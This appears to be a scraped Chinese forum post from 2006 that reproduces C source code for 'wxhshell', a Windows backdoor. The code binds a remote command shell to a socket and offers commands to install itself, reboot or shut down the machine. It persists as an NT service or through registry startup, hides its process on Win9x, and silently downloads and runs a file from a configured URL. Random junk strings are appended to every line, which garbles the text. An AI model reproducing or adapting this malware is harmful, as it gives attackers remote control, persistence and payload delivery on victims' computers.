  else { u=vBjaN2_w  
gG}H5uN  
    switch(cmd[0]) { M7 k WJ  
  /;1O9HJa  
  // 帮助 tLq]#9kL  
  case '?': { U[8F{LX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^&8hhxCPu|  
    break; {~s\a2YH  
  } I;eoy,  
  // 安装 eO*s,*  
  case 'i': { RO%M9LISI  
    if(Install()) !y'>sAf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ht\2 IP  
    else "Jg.)1Jw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H270)Cwn+  
    break; k*\)z\f  
    } gFu,q`Vf*  
  // 卸载 $N;J)  
  case 'r': { d%epM5  
    if(Uninstall()) YPNW%N!$|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/0\_zq7  
    else Q4a7g$^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e#mqerpJ  
    break; V3r)u\ o'  
    } MuP>#Vk  
  // 显示 wxhshell 所在路径 _<Ij)#Rq7  
  case 'p': { (c^ {T)  
    char svExeFile[MAX_PATH]; ;BT7pyu%[  
    strcpy(svExeFile,"\n\r"); k.o8!aCm  
      strcat(svExeFile,ExeFile); )Ho"b  
        send(wsh,svExeFile,strlen(svExeFile),0); KZVdW@DY  
    break; 4>vO9q  
    } j6XHH&ZEb  
  // 重启 m.1-[2{8~  
  case 'b': { J:&.[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CYwV]lq :s  
    if(Boot(REBOOT)) +'MO$&6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tcc83_Iq  
    else { BnGoB`n  
    closesocket(wsh); CmBgay  
    ExitThread(0); >P\eHR,{-  
    } c_M[>#`  
    break; jWi~Q o+  
    } gTOx|bx  
  // 关机 "e8EA!Ipte  
  case 'd': { : D-D+x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oSkQ/5hg.  
    if(Boot(SHUTDOWN)) bR~(Ry`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _;Xlw{FN^  
    else { g}gGm[1SUo  
    closesocket(wsh); XBkaum4j  
    ExitThread(0); S<cz2FlV  
    } 0j6b5<Gpc*  
    break; L%Rw]=v}v  
    } eB1NM<V  
  // 获取shell 1r}i[5  
  case 's': { \=im{(0h  
    CmdShell(wsh); 8AY;WL:;  
    closesocket(wsh); Haekr*1%  
    ExitThread(0); ~_ZK93o(  
    break; ge6S_"  
  } ?< teHFj  
  // 退出 :l!sKT?:d!  
  case 'x': { /#(IV_Eol  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k} &wy  
    CloseIt(wsh); oq!\100  
    break; K\XQ E50  
    } F~ \ONO5  
  // 离开 hif;atO  
  case 'q': { ?Fn y_{&^H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ort*Ux)  
    closesocket(wsh); CsycR@[  
    WSACleanup(); KW[y+c u.#  
    exit(1); q0Q[]|L  
    break; "RK"Pn+  
        } .ve_If-Hg  
  } 7vFmB  
  } U]vUa^nG  
etiUt~W  
  // 提示信息 M:%g)FgW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vN],9 q  
} f'(F'TE  
  } 3'`&D/n  
"#7Q}d!x  
  return; f77W{T4  
} L/-SWid)  
F1-"yX1B  
// shell模块句柄 7z1@XO<D  
int CmdShell(SOCKET sock) LmqSxHs0Q  
{ r0lI&25w  
STARTUPINFO si; Tgtym"=xd  
ZeroMemory(&si,sizeof(si)); {nUmlP=mS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5YNAb/! !F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "N=$ =Dy >  
PROCESS_INFORMATION ProcessInfo; R=E4Sh  
char cmdline[]="cmd"; WKlqm)m@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X=)L$Kd7  
  return 0; *<:X3|3E  
} (_@5V_U  
tugIOA  
// 自身启动模式 -bOtF%  
int StartFromService(void) Cy6!?Mik  
{ w`f66*@Q1  
typedef struct mHju$d  
{ SH=S>  
  DWORD ExitStatus; I5l%X{u"N  
  DWORD PebBaseAddress; JkT!X  
  DWORD AffinityMask; 85Yi2+8f4  
  DWORD BasePriority; H7&y79mB  
  ULONG UniqueProcessId; .*njgAq7  
  ULONG InheritedFromUniqueProcessId; \-6y#R-B  
}   PROCESS_BASIC_INFORMATION; !h7:rv/  
*qSvSY*  
PROCNTQSIP NtQueryInformationProcess; OhCdBO  
m)pHCS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [|eIax xR,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XdV>6<gf{  
>h#juO"  
  HANDLE             hProcess; mkyYs[  
  PROCESS_BASIC_INFORMATION pbi; lV^:2I/  
ej kUNCKQt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /ZabY  
  if(NULL == hInst ) return 0; > TCit1yD  
G`0{31us  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rCA!b"C2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UsU Ri  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RxJbQs$Ph  
[9Rh"H;h  
  if (!NtQueryInformationProcess) return 0; JJWP te/  
hN=kU9@knC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NdLe|L?c  
  if(!hProcess) return 0; R"O%##Ws  
]f &]E ~i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K3 BWj33  
%pOz%v~  
  CloseHandle(hProcess); SWI\;:k  
dazML|1ow  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  gvo98Id  
if(hProcess==NULL) return 0; NR_3nt^h  
GiuE\J9i  
HMODULE hMod; `V V >AA5  
char procName[255]; iz/CC V L  
unsigned long cbNeeded; |&Mo Qxw@  
+,)k@OI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ll$mRC  
uuFQTx))  
  CloseHandle(hProcess); &o t^+uVH  
<>n|_6'$90  
if(strstr(procName,"services")) return 1; // 以服务启动 7i xG{yu  
leNX5 sX  
  return 0; // 注册表启动 0Q7<;'m  
} }[PwA[k'  
[3-u7Fx!  
// 主模块 #BBDI  
int StartWxhshell(LPSTR lpCmdLine) N5;z5E  
{ a-,*iK{_u  
  SOCKET wsl; -YQS\@?  
BOOL val=TRUE; ;k#_/c  
  int port=0; eza"<uBr  
  struct sockaddr_in door; YzZj=]\`b  
-th.(eAx  
  if(wscfg.ws_autoins) Install(); kn>qX{W  
]rY9t@  
port=atoi(lpCmdLine); 'G % ]/'_U  
cW0\f5[/  
if(port<=0) port=wscfg.ws_port; VM<0_R24z  
F{ vT^/  
  WSADATA data; ZR3,dW6S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8h|}Q_  
sRcd{)|Cq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EmUn&p%hI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &4WA/'>R  
  door.sin_family = AF_INET; }15&<s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~$4(|Fq/  
  door.sin_port = htons(port); UYZC% $5x  
UIf#Gy|l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (NR( )2  
closesocket(wsl);  }E(w@&  
return 1; (_}q>3  
} B:v_5e\f@  
DUu:et&c1  
  if(listen(wsl,2) == INVALID_SOCKET) { |-{ Hy(9  
closesocket(wsl); h+H+>,N8`  
return 1; a6z0p%sIZ  
} {e2ZW]  
  Wxhshell(wsl); MNe/H\  
  WSACleanup(); ZyNgG9JL]  
O_2o/  
return 0; m2(}$z3e  
p{GO-gE@  
} )_! a:  
ERK{smL  
// 以NT服务方式启动 UJL'4 t/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5D7 L)>  
{ x@oxIXN  
DWORD   status = 0; R>:D&$[RD  
  DWORD   specificError = 0xfffffff; C "@>NC_  
V!]|u ^4I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _I'k&R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KV;q}EyG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .0U[n t6  
  serviceStatus.dwWin32ExitCode     = 0; O zC%6;6h  
  serviceStatus.dwServiceSpecificExitCode = 0; 4NaT@68p  
  serviceStatus.dwCheckPoint       = 0; b}Im>n!  
  serviceStatus.dwWaitHint       = 0; &I'J4gk[  
K9&Q@3V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {GCp5  
  if (hServiceStatusHandle==0) return; hTv*4J&@|  
.tfal9  
status = GetLastError(); Ex_dqko  
  if (status!=NO_ERROR) &_;=]t s  
{ FG71<}C[K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z)*{bz]  
    serviceStatus.dwCheckPoint       = 0; lAA6tlc#C  
    serviceStatus.dwWaitHint       = 0; =<9Mv+Ry8  
    serviceStatus.dwWin32ExitCode     = status; #huh!Mn  
    serviceStatus.dwServiceSpecificExitCode = specificError; p%bMfi*T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  1 <T|  
    return; %|JL=E}%|  
  } V:5aq.o!  
};9/J3]m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *tpS6{4=#7  
  serviceStatus.dwCheckPoint       = 0; A 9l d9R  
  serviceStatus.dwWaitHint       = 0; 9 {SzE /[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c1_Zi  
} t6 -fG/Kc  
SufM ~9Ll  
// 处理NT服务事件,比如:启动、停止 _[&.`jTFn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G){+.X4g3  
{ /\Xe '&  
switch(fdwControl) fYZd:3VdC  
{ !JDuVqW  
case SERVICE_CONTROL_STOP: .sj/Lw}  
  serviceStatus.dwWin32ExitCode = 0; 3''Kg<k,I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j8?! J^TC  
  serviceStatus.dwCheckPoint   = 0; K9ih(fh)  
  serviceStatus.dwWaitHint     = 0; dQp>z%L)  
  { oIj/V|ByK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >^#Liwm  
  } YT[=o}jS  
  return; ^oq|^O  
case SERVICE_CONTROL_PAUSE: L?8OWLjRy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k{X+Y6'ku  
  break; G^L9[c= ,  
case SERVICE_CONTROL_CONTINUE: w0sy@OF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  C. uv0  
  break; _M;{}!Gc&A  
case SERVICE_CONTROL_INTERROGATE: ca0vN^Ji  
  break; A -8]4p::  
}; r_bG+iw7p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7bGt'gvv  
} bqF?!t<B  
4C:dkaDq]  
// 标准应用程序主函数 {4[dHfIy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ -~=U^2tC  
{ cyjgi /Z  
i[.7 8K-s  
// 获取操作系统版本 SZtSUt(ss  
OsIsNt=GetOsVer(); jL 3 *m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '_K`1&#U  
zh?B-"O=5  
  // 从命令行安装 k{Y\YG%b  
  if(strpbrk(lpCmdLine,"iI")) Install(); $OGMw+$C ^  
@#o 7U   
  // 下载执行文件 n@C#,v#^0  
if(wscfg.ws_downexe) { 1UrkDz?X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rfgsas{F  
  WinExec(wscfg.ws_filenam,SW_HIDE); i6;rh-M?.  
} / )[\+Nc  
@LU[po1I  
if(!OsIsNt) { ~Lu,jLKL=[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ? )IH#kL  
HideProc(); ^Nav8dma  
StartWxhshell(lpCmdLine); R*ex!u60M  
} Q3t%JP>;g  
else =q"0GUei3  
  if(StartFromService()) Fo ,8"m  
  // 以服务方式启动  _ qQ  
  StartServiceCtrlDispatcher(DispatchTable); m^/>C -&C  
else *z~J ]  
  // 普通方式启动 \0qFOjVj  
  StartWxhshell(lpCmdLine); & }"I!  
[5b[ztN%  
return 0; 0U.Ld:  
}
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只看该作者 1 发表于: 2006-10-10
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